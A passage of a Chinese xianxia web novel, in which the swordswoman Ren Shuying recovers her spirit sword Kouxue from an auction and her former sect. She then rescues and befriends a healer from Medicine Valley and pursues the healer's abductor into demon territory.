任舒映听着实属是动心了。她唯一的剑器尚在渺梦山,虽说她可以凭借记忆潜入渺梦山,但是若有法器,她取回叩雪剑胜算岂不更大?
她草草吃完结账,便跟着前往拍卖集会所的修士而去。她行至东街仪器堂大门外百步乍然显现出一片乌泱泱的人头,许多修士相涌在门外一个个面色不善,见已堵塞的水泄不通,她选择止步于此,好奇张望起来。
片刻,一个锦袍的修士从仪器堂孤身从来嘴上一张一和,不知在说什么,又因隔的颇远,她没有听见。
待锦袍的修士说完,围堵在门口的修士面上愤愤不平,一阵喧哗后只得成群散开,几个路过的修士在旁边与她擦肩而过,正巧听见他们的话,
‘‘灵宝拍卖会还不如不开,非要设个有钱才可以参加的门槛,这是明着面不然我们这些小宗门的弟子参加了!’’
‘‘哎,也罢,只要可以在两个月后进入九骸壤便好,仪器堂的灵器那里有古神遗留的珍宝好……’’
任舒映一下明了。
若说钱财,她倒是还有一些,但又担心空又钱还不够,思来想去,倒不如试试拿乙寻屏给的鄄宗玉鉴牌。毕竟鄄宗也是修界大派之一。
她拿着玉牌,犹豫一番挤入人潮中,仪器堂外还逗留几个剑修,锦袍修士向来识货,观他们手握的剑非寻常凡品,未待他们开口,随即笑容可掬的皆请进去。
任舒映跟在他们后面,心正悬着。那锦袍修士以为这些看着不好惹的修士都是一伙,担心怕得罪人,干脆不再问过,一并领进去。
任舒映一愣,反应过来自己是混淆视听,便沉下一张脸光明正大的跟在尾后。
步入大堂,头顶悬挂的庞大一个灯笼现入眼帘。灯笼骨架似是一金为材,镶嵌几个巨大的明珠,竟比外面的白日更加明亮,四壁雕花刻月,设座密集,喧嚣的人声欲要掀翻屋顶。
中央的高台上有一个美艳女人,口中不停的介绍今日拍卖的灵宝。每当介绍完一物,便会呈上高台,让大家目睹。
她寻到一个没有人的座位,暗暗巡视四处。
一道声音突然响起,她思绪不禁被拉回来,‘‘道友,你看看左边第三个那把剑,品相不错,但是一点灵气都没有。这仪器堂的宝器也不过如此。’’
‘‘这些都是各处大派征集的灵宝,并非是仪器堂的宝物,自然不会做慈善把自己的稀宝拿出来拱手让人。不过都是前戏看看便罢了,好东西啊还得在后头!’’
任舒映听罢随意往高台的宝物望去,她眼前骤然目眩,恍惚间她开始怀疑自己是否眼花。
她甚至不受控制蓦然站起来,引的周围坐着的修士频频回头。
18.师兄
高台上摆着的剑,竟然与她的叩雪几乎一模一样。
莹白似雪的剑身,在悬顶的金灯笼照耀下,泛着凛然的寒光。唯一让她定下心来的,就是正如刚刚那修士所说的一样,毫无灵气,像一个精美的摆放品。
莫不是叩雪?可转念寻思,叩雪在渺梦山,怎么会在此出现?她不断反复告诉自己或许这只是个巧合,沉默着再度坐回席位。
相比高台下的喧腾,阁楼上显然幽静几分,一间间小隔间有一厚重的黑帘,将每个地方包围的密不透风,只要设上隔音结界,便于隐蔽,只供瞻观一面。
但并非任何弟子都可以在上面坐着,唯有门派的代表弟子才可以移步入内,偏偏柳邈亦注意到高台那几件物什,他起初以为是看花了眼,起步凑前,拉长脖子看了半天才心下起疑。
回到塌上,他唤了一声正无聊闭目养神的师弟,“明师弟,我们渺梦给仪器堂的灵器有那些?”
塌上的微胖少年纹丝不动,宛若睡着,柳邈无奈,正欲推醒他,明良似是感知到柳邈的动作,在即将触碰到他的衣袖时忽烦厌的开口:“我怎么会知道,最终安排灵器的人是萧师姐,你该寻她去。”
柳邈一顿,未触及衣服,复收回手臂。
萧慕灵?他回想起任舒映与萧慕灵之间的过节,心中隐隐约约有了猜忌。随及他毫不犹豫买下那把神似任师妹用的叩雪剑,心事重重往渺梦山弟子聚所行去。
任舒映虽稳下心来,目光仍定在那剑上思绪飞驰,只道是太过相似甚至给她一见如故之感。恍惚间她捕捉到楼道暗处出现一抹浅青色的熟悉身影。
视线移下此人手中的折扇,她才笃定是师兄柳邈。他出现在这里并不奇怪,可一丝丝的异样让她忍不住起身跟着柳邈,她在意的是叩雪有没有被卖到仪器堂,只消避开和渺梦山的弟子,单独与柳邈询问清楚就好。
一路跟随而去,未注意身边径直走来的行人,与一个脸上带疤痕的修士擦肩而撞,
‘‘走路没有长眼睛吗!’’对方停下脚步皱起眉头觑着她,不好气的骂了声。任舒映顾着跟踪柳邈,不欲与人起争执语气缓和连连道歉。好在此人冷哼一声,抬步离开。
她在往柳邈的方向看去,早已没有了踪迹。阁道人来人往通向四处,她无奈叹气,只能一条一条轮流寻去。
--
柳邈入了一间哄闹的厢间,几位闲谈的修士一愣,又笑着对他打招呼:''''大师兄,''''
柳邈点头回应:‘‘都在啊,萧师妹在何处?’’他扫视一圈又不见其人,既而问向他们。
‘‘啊,萧师姐许是在偏房呢。’’一个弟子指着帘幕的后的门,柳邈道了谢转首寻去。萧慕灵在书案旁专注地看着一本册子,即使有人进入她仍旧垂眸不动。柳邈也不拐弯抹角,直言道:‘‘渺梦呈交的灵器里可否有幽戒室的?’’
‘‘是叩雪剑。’’萧慕灵搁下册本,抬着头定在柳邈脸庞上,似是在他踏入此处便已经知晓所为何事。
‘‘为何动叩雪剑?’’柳邈语气中夹杂着沉重的语气,她明明知道他已经提醒过不可动叩雪剑,萧慕灵是把他的话当作耳旁风了吗?竟还要带来卖了。
萧慕灵脸上很平静,语调也没有一丝起伏:‘‘我一开始便没有打算动叩雪剑,在方才翻阅了灵器单,才查出是明师弟偷偷调换了。’’
闻言柳邈眉头紧蹙,骤然想起来任舒映与师弟明异结过一个梁子。梅山剑道魁首比试中任舒映与明异对战,明异突然遭受外场的暗器干扰,伤了握剑的手腕才败于叩雪剑下。
明异此人素日行事嚣张跋扈,虽然查出用暗器的弟子并非任舒映指使,但是他依然因为任舒映怀夺走了魁首之位一直怀恨在心,故而常在渺梦山寻她的麻烦,如此想来,明异是看不惯叩雪剑的主人,恨屋及乌才将剑换了。
萧慕灵观他面露无奈之色,接着说:‘‘我知道你还对她留有情谊,但是刚刚问了那剑被人买下了。’’
‘‘是我买下的。’’柳邈说到此,到底还是吐出一口气,好在他留下心眼。
萧慕灵瞥了他一眼,再度将脸埋下书册中语气尽是嘲讽:‘‘一边将她护在身后,又亲手将她推走,如今又如此关心她的剑,柳邈,论起八面玲珑的处事作风,我远不及你啊。’’
柳邈没有接话只是冷笑一声缓着步子离开,他一开始为了自己追求的目的就是不择手段,哪怕是要舍弃,在所不辞。患失患得,他也已经习惯了。
--
任舒映寻遍阁道还是一无所获,只能灰溜溜回到原来的地方蹲人,莫约半柱香,她终于看柳邈的孤身走来,这回为了怕跟丢他,她只是确定没有渺梦山其余的人,她直接迎面而去。
柳邈一怔,定在原地,似乎完全没有意料到她会出现在这里。
‘‘道友可否借一步说话。’’任舒映故做不相识,显然是真的与渺梦山划清关系了,既然她会在这里,应该也是看到叩雪剑。
柳邈很快淡笑着答应。
见柳邈一人,她还是有了些底气,焦急了许久还是开口询问,‘‘我的剑在哪?’’
可他脸上出现一丝惋惜,没有回答,只是莫名问道:‘‘阿映,你可有对我隐瞒过什么?’’
任舒映忽然有些凝噎,柳邈的眸中有质疑,猜忌,亦有别有深意的探究。即使是他刻意在掩饰,但是她还是会意到,她有些郁闷,长篇大论的腹稿到了口中只有二字:‘‘没有。’’
柳邈还是保持着那个温和的笑意,但是对于她而言,他是在勉强维持这个笑,维持他们之间的关系,这是她第一次觉得这个师兄变了,似是她发现自己一直喜爱的白玉,被人掉包了,换成一个,有一条淡淡裂纹的瑕玉。
‘‘在仔细想想,我们可以先说叩雪剑的事。’’
‘‘真
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的是叩雪?’’任舒映脸色大变,她开始生出一丝无名的火气,凭什么!凭什么他们可以随意的将她的剑单作一场廉价的交易品!
''''先不要动怒,我从来没有交代把剑交给仪器堂的想法,是我疏忽,让人误拿错了。''''
拿错?她怎么会相信,任渺梦所有的弟子也不会相信。何人不知她以叩雪一剑斩杀无间楼魔煞,何人不晓她以此剑赢得剑道魁首。
她冷静下来,还是拆穿了谎言,‘‘是谁干的,我不会寻他,我只想知道是谁。’’
‘‘哎,什么都骗不了你。’’他喟叹一声,接着道:‘‘是明异。’’
任舒映气的一笑,原来是他。在剑道比试中,就是他安排了人想要在暗中对她下手借此赢得魁首,可惜搬起石头砸的还是自己的脚,此事她也只是勘破没有道破。倒是这明异,经常不厌其烦来找她的麻烦,如今还打起叩雪剑的主意,她有些后悔,早在剑道比试上不该心慈手软放过他和私用暗器偷袭的人。
‘‘那叩雪可否要回来?’’她不求其它,只要能取回剑就好。
‘‘可以,那你有想起什么吗?’’柳邈说罢,又把话头绕回原处。任舒映顿时无语,没有耐心再与他打哑语了,既然他如此执著,那便由着他问,‘‘你要知道什么,直接说出来吧。’’
‘‘神献灵脉。’’
又是神献灵脉。原来他一直再觊觎的是这个,她沉默须臾道:‘‘神献灵脉乃上古灵根,的确不是在渺梦山,而是承接在人身上。师尊从未与你提起过吗?’’
柳邈盯着她的眼睛打量许久,应该是勉强接受她的话辞,才不疾不徐的回答:‘‘提的不多,既然阿映毫无隐瞒告知于我,自然回答应将叩雪归还给你,你在此稍等,我去取剑,’’
片刻,柳邈当真把剑带回来,她心中大喜,脸上终于露出一个真切的笑容。
睽别阔久,总算是重归于她的手中,欲要唤醒被封印的剑灵,柳邈乍然开口提醒:‘‘叩雪可能被人抽了灵识,需要用聚灵器重新寻回,不然这就是一把普通的剑。’’
‘‘既然如此,我即刻去寻聚灵器,’’聚灵器唯有灵器铺有,任舒映迫不及待起身,见柳邈没有要拦下的意思,又折返回来对他道谢,‘‘师兄,不管如何还是要谢谢你。今日一见犹如初见,我虽已不是渺梦弟子,但希望你可以闲暇之余照料一下殿中的那盆望忧花,告辞。’’
未等柳邈回应,故意加快步伐离开,似乎他答应予否,她已经不在乎了,以往她从未有过如此生分的话。
他忽而觉得整个屋室很空旷,寂静。是因为任舒映走了吗?他想了想,告诉自己肯定不是。
骤然放声大笑,笑的眼眶微红,他在等笑声荡漾开来,将空落落的屋内填满。直至笑的力竭声嘶,他才停下来目光毫无焦距的望着门口,喃喃自语反复咀嚼那句话语,‘‘今日一见犹如初见……’’
19.剑灵
任舒映没走多久,忽一袭凉风拂过颈脖,寒光乍闪。一把银匕首倏地自她后背掷来,刀尖不轻不重嵌入前面的木柱。
刀柄是精致的梅花纹。任舒映平静的转身投视。
“任舒映,别来无恙啊。”明异勾起一抹邪气的笑,站在无人来往的过道。
任舒映没有说话,静静的端详明异。只见他逐步走进,手中召集灵力,穿刺在柱中的匕首轻飘飘落回他手中。
“我还挺好奇,明明已中冰葵只毒,没死就算了,竟还可以逃出陪尾雪牢?”
她冷声回应:“原来冰葵毒还有你的手笔。”
“没办法啊,剑试前夕我就已经提醒过你,知难而退你我便安然无恙,可偏偏不知好歹,得罪了我。”
“我本有意让你,是你技不如人。同伙眼睛还不太好,看来是天意不让你夺魁,自食其果也是理所当然。”
明异笑容一僵,似是被人拆穿那下三滥的小伎俩,恼羞成怒:“你也好不到哪里去,勾结魔族,残害同门,悯言长老有你这样一个大逆不道的弟子还真的是他一生之耻。”
若是昔日,她听此言定然拔剑封口,不过如今风言风语听久倒已麻木。解释也无济于事,反驳亦无人听信,倒不如随他说去。
见此,她沉声作应:“过奖,若无它事,告辞。”
“站住!我让你走了吗?!说,圣陵宝物在何处?”
任舒映一顿,脸沉郁下来。
又是觊觎着生灵钟的人。
见她不开口,明异斜睨她,手中攒动危险的灵力,语气暗含威胁:“魔袭那夜,是我亲眼所见,你和一个魔修从圣陵出来,至此,宝物才失踪。
并非她不想解释,那夜与她才圣陵出来的魔修正是盗取生灵钟的罪魁祸首。她本欲要追去,不料让魔修遁逃,不知实情的弟子才见到此景,误以为是她勾结魔修共谋计划,趁乱盗取。
念及此,她淡淡应声:“既然你觉得我是盗取生灵钟的人,那便寻到足以让我做实的证据。如若不然,再拦着我的道别怪我不顾及昔日同门情谊。”
音落,明异没有得到回应,顿时爆怒,手中的灵力瞬息间击至她门面,暗风涌动,门窗嘎吱作响。任舒应神色一凛,寻敏的避开灵术。
身后轰隆作响,门已毁烂。
明异下的是死手,虽已失手,但动静挺大,招引附近的人闻声而来。
任舒映压下杀意,看着几个穿着熟悉的渺梦梅纹袍的修士拿着剑,急急忙忙跑到明异身边。
‘‘任舒映,居然是你!你怎么会在此!?’’
明异目不转睛看着她,生怕她趁乱逃跑,‘‘陪尾逃犯在此,还不上去捉拿押回?’’
紧接着其余不知所谓何事的路过修士听见陪尾逃犯,又是一阵喧哗,陪尾雪牢逃犯一事都是略有耳闻,传的逃犯有多骇人凶恶他们可不惧,倒是也想来抓这逃犯,毕竟修士多以义当先,随手一举动罢了。
见凑热闹的人渐渐变多,她心下一沉,若是硬碰硬,她逃不了的。
‘‘慢着,我不是陪尾的逃犯。’’她大喊一声,让所有跃跃欲试的人制住脚步,她继续解释道,‘‘我与你们素不相识,为何污蔑我?’’
明异:‘‘?’’
‘‘渺梦山的弟子,勾结魔修,我与他们都认识你,说谎还不打腹稿?’’
明异嗤笑出声,拍了身边一个渺梦弟子的肩膀示意他说话。随之几人连连附和,
‘‘没错就是她!’’
任舒映面不改色辩驳:‘‘你们说的什么山我压根没有听说过,不若你们搜查一下,我如果是你们口中的逃犯,定然是有弟子令牌等证物。’’
明异脸中铁青,咬牙切齿。好啊,她是摸准了被逐出师门,自然没有令牌才敢如此说话。
见此众人不明所以,一片茫然。就在氛围僵持时,一个烟紫色纱衣的蒙面女子站出来发话:‘‘据我听闻,陪尾在关押囚犯时皆会烙上一个永不消除的印记,若是这位姑娘没有印记,那岂不是误会人家了?’’
‘‘此人伶牙俐齿,巧舌如簧我说她是,那是便是。’’见明异如此不讲道理,闻声的人开始半信半疑,蒙面女子无奈,只好提议道:‘‘道友你不然让我带着她去验身,若是不是,你可能真的是认错人了。’’
明异怒极反笑,早知如此就不该高搞得如此兴师动众,让她还可以在此表演唱戏!‘‘行,我倒是要看看你还可以遮掩多久。’’
任舒映转身跟在那女子身后,心中确不禁嘲笑,在牢中那狱卒起了色心,心慈手软没有给她烙上极冰印,这才让她免遭这辱耻的印记。
一盏茶匆匆而过,所有人好奇张望。
紫衣女子面对所有人,摆头道:‘‘没有,我寻遍各处,并未发现任何印记。’’
明异脸色大变,不可置信大叫:‘‘怎么可能,她定是用了什么膏药将其掩上了!你到底有没有认真看!’’
‘‘道友,在下是药师谷微钰医师的大弟子,任何若是敷上任何膏药皆瞒不过我的眼。’’
这下所有人完全相信任舒映的身份了。毕竟药师谷微钰乃修界数一数二的圣手高医,他的声名,大伙也是有目共睹深信不疑,他的弟子怎么可能看不出端倪?见此任舒映也若有所思看着那个女子。
‘‘道友,既然真相大白,我也不追究你的冒犯,下回可要擦亮眼睛不要认错人才是。’’任舒应大度发言更加衬托明异的蛮不讲理,他想对她在下手已经难如登天。
好啊,任舒映,你但真是巧言善辩。
见这只是个乌龙,其余的人忽而觉得毫无意思,拍了拍手渐而散去。
明夷语气森然,恶狠狠剜她一眼,对着她道:‘‘下次别让我抓到你。’’
任舒映冷哼轻悠悠离开,一个手下败将也配在此威胁她。
虽一路畅通无阻出来,她担心明异在暗中派人跟踪她,毕竟她与明异交手多次,干这事也是不足为奇。干脆在东街来来回回绕几圈看看能不能甩掉一些麻烦为好。
故而她去来来回回穿插在街道小巷,估摸着天色不早差不多时间了便放心
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从一个幽暗的巷子站出来,未走几步忽然踩到一个咯脚的硬物,她微微一怔,弯腰拾起,接着昏黄的灯光,她看清楚了手上捡的物什。
是一个女子佩戴的发簪,一支素雅的百玉簪,上面缀着一个栩栩如生翩跹欲飞的紫翅蝴蝶,甚是精致。她不禁多观赏看了几眼,起初还在替丢失的物主感到惋惜,复看着,忽的心中泛起丝丝异样。
一个画面在她脑海一闪,她想起来今日替她解围的紫衣蒙面女子,
这个玉簪与她跟在后面时不经意所瞥见的发簪竟一模一样。
不好!直觉告诉她,那个女子已经遭遇不测。
她压着不详的感觉,看着发簪须臾,随后融入漆黑幽静无人的街巷。
一路疾行,果然在一个狭小的路口,远远听见悉悉窣窣?的动静,循声追去,一个暗色高大的影子拖着一个人背着她不紧不慢走着。
对方感觉到任舒映的靠近,骤然回首投视令她战栗的寒芒来。
‘‘!!!’’
她后背忽然寒凉,心猛的剧烈跳动。
‘‘站住!’’好歹也是除过大魔的修士,这种恐惧并未维持过久,她厉声大叫,轻功飞驰追赶。
对方不愿放下晕倒在地神志不清之人,趁着她赶来前,思索权衡一二,还是提起大刀迎来。
任舒映见那男人挥刀向她劈来,意识下的把腰中系的叩雪拿出来横刀相挡,不料才抗了一下,叩雪竟然被强大的内力震的剑身裂纹斑驳,顷刻化作一堆冰渣齑粉。
‘‘……’’
她忘了叩雪抹去了灵识,现在只是一把普通的剑,压根招架不住修士的内力攻击。那人见状也始料不及,有些愕然。
不过,她可以一直使用此剑必然有它过剑之处。区区内力震碎不过是障眼法罢了。
及而,她只守不攻,不断躲避大刀进攻,又抽空拿出方才顺手买的聚灵器鼎,以血为引,开启剑灵觉醒之术。
暗道接二连三出现强悍霸道的剑气,犹如涟漪一波复而荡漾开来,周围狂风骤起,树是的枝桠摇摇晃晃,莎莎作响,泥地枯叶和化作冰渣齑粉的叩雪被风裹挟至起,满天彻地纷飞。
冰渣齑粉却在血引聚灵术时,化作星星点点的幽蓝色流萤。
“叩雪,收!”
一声号令落下,流萤立刻汇集相撞,融合在一起。云雾聚散,雾凝结为霜晶,霜凝成冰。
流萤光芒乍然大亮,凭空出现一把轻盈的冰剑。
这才是她的灵器“叩雪”。
男人还未看清,一个晃影修的落在她手中,化守为攻,剑势大变。此剑坚韧异常,柔中带刚,交击时发出清脆的嗡鸣,炸出浅蓝色细碎星光。
大刀渐渐落了下风,见刀势如窥人心,对方分心之时,才会使招数漏洞百出,既而她故意作出一个虚招,他不假思索立马上了圈套,不料直接被击溃刀势。冰凉的长剑横架在脖子上,再无还手之力。
她眯着眼睛,看清男人脸庞上显眼的疤痕,冷冷的道:‘‘你是今日与我相撞的那个人。’’
20.孔黎
岂料叩雪剑悬脖时,他他竟徒手抓着剑身,利刃划破手心,渗出丝丝腥血。
他制止剑动,一记灵波欲要反击,任舒映只得抽回剑,侧身闪避。
回眸之余,那人迅疾一跃往一处街巷遁逃。
人已追及不上,任舒映立马去查探晕倒的人。面覆紫纱,果不其然,正是今日见的圣医谷医师。
“姑娘?姑娘……醒醒。”她将人坐扶起,开口不停叫唤。
可怀中女子无甚反应,俄而才察觉不对,抓起手腕摸索手掌,僵硬不屈,四肢坚/挺,才明了是被人封了灵穴。
念咒掐诀,并指聚灵,点向胸襟几处络脉。
俄顷,女子不惊不慌,只是眸中略显茫然,不明所以看着任舒映。
“你被人封脉至晕,差点被带走。”
“我记得你,你是今日被那个无赖诬陷那位姑娘。”
任舒映把捡到的发簪置于她手中,“若非不是今日无意看到你头上的发簪落在那巷口,我也不会寻来。”
“多谢,发簪是我故意丢下的,那个人在我出来后一路跟踪,见周边没有行人,便想要打晕,我打不过,只好丢下随身携带之物。”
说着,一声犬啸由远至进传来,随后几个人步履匆匆跑着,为首一个高大身形修士走到任舒映旁边看着她怀中的女子焦急万分道:“师姐,怎么回事?!”
“汪汪汪!汪!?”一只黑绒绒的狗忽然钻过来,扒拉任舒映,似乎想要跳进黎儿怀中。
“师弟我没事,不必担心。”说罢,师弟示出手掌中的翠绿色镯子,“要不是我带着啸天捡到此物,定然寻不到你。”
“都说我没有事了,好了,先回去我与和你解释。”
黎儿声音温柔而坚定,见此她师弟脸色才稍微缓和下来。
任舒映随手扶起她,正要告辞,忽然被她反手抓起来,“你怎么受伤了?是方才那个人伤到你了?”
她垂眸一看,手背确实有一道明显血痕,不过看着虽有些骇人,实际上就是皮外伤,她没怎么在意。
“没事,这伤不严重,我回头上点药就好。”
“你随我来,我替你上药。”黎儿声音虽然还是这般轻柔,但她觉得这语气不容反驳。
任舒映勾唇一笑,“那便多谢。”
本来打算寻回叩雪,便去药师谷彻底解了冰葵之毒,如今倒直接遇上药师谷中的医师省了脚程,既如此,也可借此机会解毒才是!
——
任舒映跟随他们移步至药师谷药修暂住的府邸,黎姑娘在此去更换衣裳。
她便在大堂百无聊赖逗玩着黑毛啸天。余光还见那黎姑娘的师弟时不时在蹙眉打量她。
啊,他不会介意外人触碰他的狗吧?任舒映一向察言观色,轻咳一声,拍了拍手,不尴不尬起身回坐。
孔穆:‘‘师姐!’’
她刚刚坐下,那只啸天汪汪犬吠,跑至门外。
黎姑娘没有带上面纱,一袭浅湘黄裙。
目光落在她脸上,先前只观柳眉星目,以为会是个美艳的女子,不料亲眼所见脸蛋精致小巧,唇中不妆而泛着淡红,可谓是清丽灵动,煞是可爱。
‘‘任姑娘,师弟。’’
她走来落座,为二人酌杯茶,略有些不好意思:‘‘久等了,我方才去见了师尊报安。’’
‘‘师姐你快说说,那人为何对你下手?’’孔黎笑笑,拿出一盒药箱,
‘‘别急,任姑娘把手伸出来吧,我先替你包扎。’’
任舒映乖乖把手拿出来,又听她道:‘‘九骸壤即将开启,但是霄华四处丹药紧缺,在此的一些诡修就打起丹修,药修的主意,据师尊听闻,他们常常会混在人群中寻落单之人,今日我不过是去了偏僻的小药铺寻伏夕草,便被人盯上。’’
‘‘这群诡修竟然敢对药师谷下手,下次遇到我定然不给他们看伤买药!’’
孔黎哭笑不得:‘‘医者不分善恶,既有所求,自当尽心而为之,师弟这般想未免偏颇。’’
‘‘可是他们这是动手打晕你了,定然居心叵测不怀好意!’’
‘‘诡修一向不受普通修士所待见,亦有难言之隐,迫不得已吧。’’
孔穆闻言一噎,但也最为了解师姐,她只觉得只要是一个有需要之人,就是不可漠视的,哪怕是恶贯满盈的恶人她总也于心不忍。
可是她不懂人心。师姐涉世未深,如今同她说未免会听,无奈之下他只得佯装松口:‘‘好吧好吧,都听你的。’’
任舒映骨碌转眼,赞叹不已,这黎姑娘还是想的过于单纯了,什么迫不得已,要真如此,怎么可能不亲自登门拜访,反倒是暗下劫人。
见此她忍不住看着孔提醒道:‘‘黎姑娘,那诡修都修习邪门歪道之术,心术不正若是遇到还是离他们远些。’’
孔黎是否不知听进去了,只是沉默替她包扎好手上的伤口,语气低沉的道:‘‘我亦知,可是医者仁心,圣心难违啊……’’
--
‘‘啊,黎姑娘,就是我有一病,缠身许久,可否一治?’’
‘‘怎么了?’’孔黎一顿,垂眸观脉。
‘‘几个月前,不慎误食冰葵,直至毒发之期才恍然发觉,每日以内力逼毒,现已寻到断枯草,不知可否彻底清除此毒?’’
孔黎观脉片刻,缓缓分析道:‘‘此毒本就毒性霸道,若非修士内力深厚,早已毒侵六腑,毙命于此。据你所说,毒发之期才发现,毒性极大可能已深入内脏,想要彻底根治可就并非一朝一夕的事了。’’
任舒映却大喜,这么说她是还有的救?
‘‘若是有办法医治,我定然竭力配合。’’
孔黎笑笑,复问:‘‘放心自有,不过九骸壤入口要开启了,若是根据疗程,任姑娘你许是无缘前去。’’
这九骸壤哪有小命重要啊!她还宁愿苟在这里既安安全全,又可闲时乱逛来的的惬意。
她云淡风轻回道:‘‘我并无去秘境的打算,只求早日根除余毒便好。’’
‘‘那是自然,我定会帮你。’’
孔穆见她如此爽快应下,不禁疑惑:‘‘师姐,你不会要为了她留在此,不随我们去九骸壤了吧?’’
‘‘我去作何?孱弱也不擅武,跟随你们只会拖后腿。只要寻到那荒古圣医的炼药炉,安然无恙带回来就好。’’
孔穆也担心她前去九骸壤会出现意外,但是留她一人在此又觉得还是不安全,思来想去,忽然摘下脖子上佩戴的项链,‘‘师姐,我把护灵玉给你吧,要是我不在,至少它可以保护你。’’
孔黎顿时拧眉,语气隐隐带怒,伸手拒回,‘‘你又怎么随意取下来!九骸壤才是危险重重,里面的修士鱼龙混杂还有修行百年的妖兽,岂如此随意胡闹!’’
‘‘可是,我们都去了,你怎么办?’’
任舒映咳声:‘‘哎哎,道友,我虽中冰葵之毒,但好歹是是个剑修啊,护着黎姑娘也不是什么难事。’’
已寻回叩雪,行事也有底气。再说那黎姑娘还要为她制药,怎会置之不理?
闻言,近日无甚反应的叩雪动了
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片刻,从归寂静。
任舒映一惊,以灵识问:“叩雪!想起来我了?”
叩雪:“……”
她沉默唤叩雪时,孔黎粲然一笑,话声拉回任舒映的注意力:“我相信任姑娘。”
孔穆:‘‘……’’
——
断戈壁在百年前整片皆被魔族占据,极目眺望,是广袤无垠的茫茫大漠。
日落夜深,除了是孤魂野鬼的哀嚎,便余留下漫天彻地飞扬的衰草寒沙。
但行至于断戈壁中心,乍然一片翠青笼罩四野,房屋林立,魔宫以玄极石成千上万、层层叠叠堆砌。
壁立千仞,坚不可摧,普通魔族因为惧怕魔域之主,鲜少靠近在宫门外。唯有几个漂荡魔魂驻守,沉寂的魔宫无声透露出庄严肃穆。
但此处就是魔族最繁盛的魔域。
孤竹京已有几日未进食,常常一人待在沧渊魔殿,窝在床榻上,一动不动。
宫中的奴婢亦或是近侍,皆没有受召踏入过。乱魔窟二位魔君暗中监视孤竹数日,时不时聚在洞府中犯怵猜忌。
六魔君捋直了唇下的胡须,两眼放光:熙谛快说说,你那的探子在魔殿都有何发现?”
三魔君一顿,清秀的脸上顿时一僵,颇多一些尴尬:”灭谛,你也猜出来了吧?”
“哼!”六魔君撇开脸,目光斜睨,”不会又是那样吧?”
“非也,”熙谛一顿,道:“这次连魔殿还没有靠近,就死了。”
“老三啊,你这没错派的人,哪次是活着回来的?屡战屡败。”
“什么人我都试过了,什么绝世倾城妖艳魔婢,清纯可爱兔精,能歌善舞莺仆,都送进宫里了,哪一个能入的了他都眼睛?”
六魔君略有思忖,忽然眉头一万,豁然开朗,“莫非他喜欢男仆?”
“……看我做什么!我堂堂三魔君,可干不出自毁声名的事来!”
”哎呦……试试吧,就差你没有试过了,万一当真合了他的心意,那日后在魔域岂不是可以横行霸道?”
“……滚!”
两魔君,一老一少,嚷嚷了片刻。突然走入一个红装女子,她捧着书,眉头紧锁,
“爹,这个是在黑宜城记载最为详细清晰的账本了。”
“就一本?!剩下就这?”
“不能怪我啊,端黑宜城老巢的人,不止一个,那日你也看见了,若不是三魔君及时出现,不然我真的会死在那啊!”
“区区几个修士,居然还敌不过!”
念及此处,六魔君恨铁不成钢,“我与老三共同谋划多年,才打通魔域与南夷了买卖。你就怎么毁于一旦!你当真气煞我也!”
熙谛见状,连连劝架:“芸娘也是无心之过,那日我用魔识救出她,但还是可以感受到伤芸娘那人的魔息,他虽然隐藏起来,但我可以笃定他的实力远在我们之上!”
六魔君长叹:“但这蛛丝马迹过多,咱们也抹不干净,早晚有一日,孤竹京得查到我们头上来。”
熙谛见那说的也有理,以防万一,还真想了一个法子:“不日魔域照旧例挑选魔后,虽说孤竹京不会接纳,但是他亦拒绝不了,不如再试试挑个美人去?”
唉,事已至此,也罢……只得再试试了。
芸娘一听,为了将功补过,主动自荐:“父君我去吧,我以隐息环封闭魔气,假扮凡人,拿下他!”
六魔域踌躇不决:“这……你可知,孤竹京并非如此好糊弄过去的。”
“无妨,我自有一技!定让孤竹京对我死心塌地!”
21.有缘千里来相会
夜幕四合,任舒映按往常在药房泡澡,水池雾气氤氲,倾置许多抑寒的燮草,这一泡,就是三个时辰。
她趴在池沿边,昏昏欲睡。
兴许是闷热,她头脑发胀,甚至未发现药房的窗户被一股魔气吹开一条缝隙。
叩雪嗡嗡的在案桌晃动,先前用聚灵术觉醒剑灵,叩雪还未寻回消散的灵识,一时之间它不记得往事,也鲜少出声。
今夜却一直频频有动静,任舒映瞥了一眼,
“……叩雪?”
“主人快点穿衣服,外面来东西了!”
任舒映猛然清醒,立刻会意叩雪已恢复记忆。他们交流中,若是有东西出现,便极有可能是较为棘手的魔祟在附近。
顾不得为叩雪记忆恢复而开心,她神色一凛,将衣物召来,起身间迅速落于身上。
“叩雪,来。”
长剑倏地落在手中,她迈着沉重的步伐,徐徐靠近嘎吱摇晃作响的窗口。
是魔气,很浓郁。
在她全神贯注紧盯着魔气时,药房门口蓦然打开,孔黎抱着一筐药材走进来道:“任姑娘,是我,我来加药材了——”
“啊!”
话落,筐子摔倒于地。
孔黎一声惨叫,任舒映寻声跑去。
那夜与她交手那脸上带疤的男人拿着刀挟持孔黎,伫立于门口。
任舒映语中透露着一丝丝冷意,不动声色捏紧剑柄道:“放开她。”
“那就看你有没有这个本事了。”
对方面露诡异的寒笑,瞬息之间带着孔黎飞出门外。
幽月晚晴,冷风吹彻,霄华城东,两道晃影如同鬼魅,踏着屋檐瓦盖疾行。
可任舒映追了许远才蓦然惊觉。她一心追敌,不料地方越来越偏僻,魔气愈加浓厚。
后头一望,已看不清附近的道路。
孔黎被带走,她断然不可能置之不理。罢了罢了……
几乎没有犹豫,她咬牙继续追去。
片刻她来到一个荒寺,魔气的源头正出自此处。
庭院空旷清寂,夜半,忽起了一阵疾风,枯叶漫天彻地的飞扬。
虚掩的大门被霎时吹开。
血光映在她脸庞,瞳仁骤然一缩。
目之所见,巨大的眼球悬浮虚空,孔黎被带到眼球下的阵法。
‘‘孔黎!’’
任舒映纵身一跳,阵法随即启动,在她进入最后一刻关闭。
眼帘一片花白,她还是没有抓到孔黎。
——
‘‘站住!别跑!’’
待阵法稳定,她出现在一片幽紫色的花林中,她不过使用是灵力查探附近的地形,不料召来几个穿铁甲执长刀的魔族。
魔族一向对灵术感知敏感,她虽不费余力处理的几个魔族,竟而有追来几个。
她暗骂几声,怀疑自己莫不是到了魔族地界。周围弥漫都是黑压压的魔息,在此处呼吸久了甚至可能影响灵识,造成幻觉。她只能在附近逃遁,在四处寻找失踪的孔黎。
‘‘别跑……!’’
任舒映与叩雪兵分两路,可不过片刻那群魔族竟然还可以发现她的行踪。
叩雪折路返回:‘‘主人!他们养了吞息兽,可以追踪修士使用的灵力。’’
怪不得她甩不开,现如今她没有掩息符,难不成今夜都要与他们玩你追我逃的戏码?
‘‘罢了,我们不跑了,把他们都清了。’’
